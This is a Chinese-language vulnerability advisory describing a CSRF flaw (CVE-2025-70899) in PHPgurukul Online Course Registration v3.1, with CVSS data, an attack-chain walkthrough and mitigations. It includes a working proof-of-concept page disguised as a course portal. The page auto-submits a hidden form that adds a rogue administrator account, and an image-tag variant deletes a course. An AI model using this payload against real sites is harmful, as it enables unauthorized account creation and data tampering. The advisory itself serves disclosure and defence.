IPBUF安全漏洞报告
English
CVE-2025-70899 CVSS 6.5 中危

CVE-2025-70899 PHPgurukul在线课程注册系统跨站请求伪造漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2025-70899
漏洞类型
CSRF(跨站请求伪造)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PHPgurukul Online Course Registration v3.1

相关标签

CSRF跨站请求伪造PHPgurukul在线课程注册系统Web安全会话管理缺陷身份认证绕过中等严重性

漏洞概述

CVE-2025-70899是PHPgurukul在线课程注册系统v3.1中的一个中等严重性安全漏洞。该系统是一款基于PHP和MySQL开发的在线课程注册管理平台,广泛应用于教育机构进行课程管理和学员注册。漏洞根源在于系统所有管理后台表单缺少跨站请求伪造(CSRF)保护机制。攻击者可以利用此漏洞构造恶意网页,诱导已登录的管理员访问,从而在管理员不知情的情况下执行未授权操作。由于CSRF攻击利用的是Web应用程序对用户浏览器的信任,攻击者无需获取管理员凭证即可完成攻击。该漏洞的CVSS评分为6.5,属于中等严重级别。攻击复杂度低,无需特殊权限,但需要用户交互。攻击成功后可能对系统完整性造成严重影响,攻击者可修改课程信息、用户数据或系统配置,对教育机构的正常运营造成威胁。

技术细节

跨站请求伪造(CSRF)是一种利用Web应用程序对已认证用户的信任进行攻击的方式。在PHPgurukul Online Course Registration v3.1中,所有管理后台表单均未实现CSRF令牌验证机制。正常情况下,Web应用应在表单中添加唯一的CSRF令牌,并在服务器端验证该令牌的合法性,以防止跨站请求伪造攻击。由于缺乏此保护,攻击者可以构造包含恶意请求的HTML页面或链接,当已登录的管理员访问这些内容时,浏览器会自动携带有效的会话Cookie向目标服务器发送请求。攻击者通常会诱骗管理员访问精心构造的恶意页面,页面中包含自动提交的表单或隐藏的请求资源。服务器无法区分这些请求是来自合法用户操作还是攻击者的恶意诱导,从而执行攻击者预设的操作。攻击者可利用此漏洞进行课程信息篡改、用户权限修改、数据删除等管理操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先收集目标网站信息,确认使用的是PHPgurukul Online Course Registration v3.1,并识别管理后台的表单端点和参数结构
STEP 2
步骤2: 构造恶意页面
攻击者创建一个包含恶意表单的HTML页面,表单action指向目标管理后台,参数设置为期望的管理操作(如添加用户、修改课程等)
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、即时消息或其他社交工程手段,诱骗已登录的管理员访问恶意页面
STEP 4
步骤4: 自动提交请求
当管理员浏览器加载恶意页面时,JavaScript自动提交隐藏的表单,携带管理员的有效会话Cookie向目标服务器发送请求
STEP 5
步骤5: 执行未授权操作
服务器收到请求后,由于缺少CSRF验证,将请求视为合法操作执行,从而完成攻击者预设的操作
STEP 6
步骤6: 持久化控制
攻击者可利用添加的管理员账户或修改的配置实现持久化访问,进一步控制系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-70899 --> <!-- Target: PHPgurukul Online Course Registration v3.1 --> <!-- Description: Add malicious admin user via CSRF --> <!DOCTYPE html> <html> <head> <title>Course Registration System</title> </head> <body> <h1>Welcome to Online Course Registration</h1> <p>Click the button below to access your courses:</p> <!-- Hidden CSRF attack form --> <form action="http://target-site/admin/add-user.php" method="POST" id="csrfForm" style="display:none;"> <input type="hidden" name="username" value="malicious_admin"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="mobile" value="1234567890"> <input type="hidden" name="course" value="1"> <input type="hidden" name="submit" value=""> </form> <script> // Auto-submit the form when page loads document.addEventListener('DOMContentLoaded', function() { document.getElementById('csrfForm').submit(); }); </script> <button onclick="alert('Access granted!')">Continue</button> </body> </html> <!-- Alternative: Image-based GET request CSRF --> <!-- <img src="http://target-site/admin/delete-course.php?id=5" width="0" height="0"> -->

影响范围

PHPgurukul Online Course Registration v3.1

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)限制管理后台的访问来源,仅允许从受信任的IP段访问管理界面;2)使用Web应用防火墙(WAF)规则检测和阻止异常的CSRF攻击模式;3)提醒管理员不要点击不明链接,定期退出登录会话;4)监控管理日志,及时发现异常的添加用户或配置修改行为;5)考虑暂时禁用非必要的管理功能,待官方发布修复补丁后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表